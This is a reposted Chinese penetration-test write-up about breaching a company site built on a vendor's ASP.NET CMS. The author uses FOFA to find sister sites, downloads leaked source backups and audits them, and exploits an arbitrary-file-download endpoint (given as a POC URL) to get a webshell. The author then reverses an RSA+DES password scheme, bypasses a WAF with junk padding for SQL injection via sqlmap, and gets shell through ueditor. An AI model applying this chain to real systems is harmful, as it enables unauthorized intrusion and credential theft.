標題:實戰滲透!我是如何一個破站日一天的

taibeihacker

Moderator

0x00 使用关键词得到目标源码​

某日上午接到臨時安排對某公司進行滲透測試,此次滲透給的是一個主域名,並且也沒有子域,打開了目標網站先對其進行一波信息收集
1049983-20220106103918120-1949305445.png

中間件: IIS 8.5
1049983-20220106103918574-542283566.png

輸入admin發現自動添加了/
說明其目錄存在,那麼盲猜一波文件,login.aspx default.aspx main.aspx 等等
1049983-20220106103919310-1402173741.png

最終在login.aspx下面發現後台登錄頁面。這不猜他一波弱口令?
一頓操作過後賬號被鎖
1049983-20220106103920127-1825260822.png

熟悉的開局,既然如此只能嘗試其他方法了。
在主頁的html代碼中發現了某處信息
1049983-20220106103920974-1940392655.png

設計製作?根據後面的域名訪問過去,是一個建站公司
那麼,入手點來了。 IIS8.5+ASP.NET+建站系統
先掃一波備份文件
1049983-20220106103921425-155429375.png

400多條ip這開發商還行。使用FOFA查詢工具,批量導出
1049983-20220106103921829-1448871529.png

然後我們來掃一下備份文件。這裡推薦我B哥的掃描器https://github.com/broken5/WebAliveScan
可以進行批量存活掃描和目錄掃描
1049983-20220106103922341-218058023.png

在好幾個站下面發現web.zip備份文件。
下載下來過後,對其目標站點文件進行了對比。基本一致
1049983-20220106103922901-1069820455.png

0x01 拿到代码开始审计多次碰壁​

那麼開始審計。
1049983-20220106103923815-1139109272.png

在某接口處放下敏感操作WebClient.DownloadFile (遠程文件下載)
由於該方法需要提供絕對路徑。比較頭疼,但我跟踪相關參數。發現。
在另一個方法中調用了該方法。
1049983-20220106103924399-1355850887.png

並傳入Server.MapPath,這根本不需要找絕對路徑了系統都給你安排好了。
那麼構造POC:
ashx/api.ashx?m=downloadfileFilePath=asmx.jpgWebUrl=http://***.cn/
1049983-20220106103925555-1905383795.png

訪問地址
1049983-20220106103926268-1173007218.png

文件存在,那麼證明可行
回到目標地址
1049983-20220106103926962-1035196824.png

被修復了文件不存在
繼續回到代碼中,審計其他漏洞在其他接口中,也均存在多個漏洞。如ueditor遠程抓取漏洞
1049983-20220106103927586-1941905001.png

文件重命名可Getshell
1049983-20220106103928097-1137720979.png

但是這些接口都需要登錄
1049983-20220106103928670-62149113.png

這就很頭疼了,打算在一些無需登錄的接口中嘗試尋找SQL注入。
最終在某處發現SQL拼接。
1049983-20220106103929492-118196344.png

但是這裡調用了IsSafeSqlString檢測
1049983-20220106103930051-247295581.png

常見符號基本被卡的死死的

0x02 拿下开发商寻找通用账号逆向加解密算法​

由於都是使用了相同的建站程序,懷疑有程序內置賬戶
於是準備通過剛才審計出來的漏洞。從同程序的站點入手
最終在某個站點成功拿到Webshell
看了下相關信息
1049983-20220106103930560-496241117.png

居然是廠商的演示站群,存了該開發商所有站點源碼。
應該是在開發過程中的演示環境吧站點有很多,估計每個客戶都有。
在服務器裡翻到了目標站點的演示網站
1049983-20220106103931009-71314533.png

根目錄下有zip網站備份和sql 數據庫備份。
如果說目標站點是直接搬遷過去的,那麼後台賬戶密碼應該是一樣的。
將其SQL文件下載下來。再其中搜索相關信息
1049983-20220106103931570-1846651994.png

發現了插入賬戶的SQL語句。其密碼是加密過的
1049983-20220106103932232-1921050966.png

cmd5解不開,看了下密文是33位加密。
但是登錄過程中,密碼是RSA加密過後傳輸的,而後端居然是33位的md5加密
1049983-20220106103932633-1127137167.png

因為有源代碼,追踪了一下登錄了相關方法。
1049983-20220106103933554-2142229781.png

密碼傳入後,調用了CommFun.EnPwd進行了一次加密。
追踪EnPwd方法
1049983-20220106103934086-1207557966.png

可以看到,傳入進來的密碼是RSA類型,先進行了一次RSA解密,然後進行了一次DES加密。
追踪DESEncrypt.Encrypt方法。
1049983-20220106103934466-1892231958.png

這裡是將Encrypt方法封裝了一下,並傳入加密key。
其核心加密方法為下:
1049983-20220106103934918-1778582804.png

並且,在該類裡。還定義了解密方法
1049983-20220106103935511-1781289920.png

得到了加密方法和解密方法以及key。那麼只需要將其單獨拉出來調用就可以了。
1049983-20220106103936101-1935894672.png

將得到加密字符進行解密,得到結果
1049983-20220106103936660-850388884.png

嘗試登錄
1049983-20220106103938164-373416304.png

忙活半天,白乾了。

0x03 柳暗花明拿下目标shell​

已經下午4點了。還是一無進展,準備嘗試繞過SQL過濾。
就在這時候,我發現了一處SQL注入點。
1049983-20220106103938695-190719613.png

某方法接收了兩個參數,卻只對一個參數進行了過濾。
在目標網站上測驗
1049983-20220106103939091-740130853.png

存在註入,發現存在waf使用垃圾參數填充成功繞過waf
1049983-20220106103939954-426082430.png

直接上sqlmap安心的跑,得到系統賬戶以及密文
1049983-20220106103940604-42722927.png

將得到的密文進行解密,得到結果
1049983-20220106103941431-713547984.png

嘗試登錄。這下總對了吧!
1049983-20220106103941866-739496859.png

終於進來了!
經過之前的審計,發現了很多接口都存在漏洞,現在成功登錄了。豈不是隨便getshell?
直接ueditor帶走。
1049983-20220106103942350-1890359523.png

成功shell

0x04 总结​

1.在目標網址後加入admin顯示管理後台,並在網站底部查詢到該網站的CMS信息2.通過fofa批量搜索該CMS的其他網站: body='xxxx系統”country='CN'3.通過fofa查詢工具批量導出查詢的網站網址4.通過WebAliveScan對導出網站網址進行批量敏感目錄掃描,並發現其中一個網站存在源代碼壓縮包洩露。5.對網站源碼進行本地代碼審計,發現以下漏洞:存在任意文件下載漏洞,不需要登錄ashx/api.ashx?m=downloa dfileFilePath=asmx.jpgWebUrl=http://***.cn/ueditor編輯器遠程文件下載漏洞,需要登錄存在SQL注入漏洞,需要登錄,且被過濾了6.通過任意文件下載漏洞拿到其中一個網址的webshell,發現是產商的演示的站群系統。7.通過webshell發現站群中每個網站根目錄下有zip網站備份和sql 數據庫備份,SQL語句中包含插入的用戶名和密碼(密碼為33位),站群的所有登錄基本上都使用相同的用戶名和密碼8.通過源代碼分析發現登錄處是通過RSA+DES加密,並在源碼中找到加密的方法和KEY值10.通過源代碼中加密方法寫出解密方法,並解密出HASH值,但是登錄,是無法登錄11.通過源代碼審計又發現一處SQL注入,這里通過垃圾填充數據讓WAF攔截,進行注入,通過SQLMAP跑出用戶名的用戶和密碼,通過上面的解密方法,對其密碼hash值解密,最終得到了明文密碼12.通過得到的用戶名和密碼登錄系統,然後通過ueditor編輯器遠程文件下載獲得目標系統的webshell原文鏈接:https://xz.aliyun.com/t/8375
 
返回
上方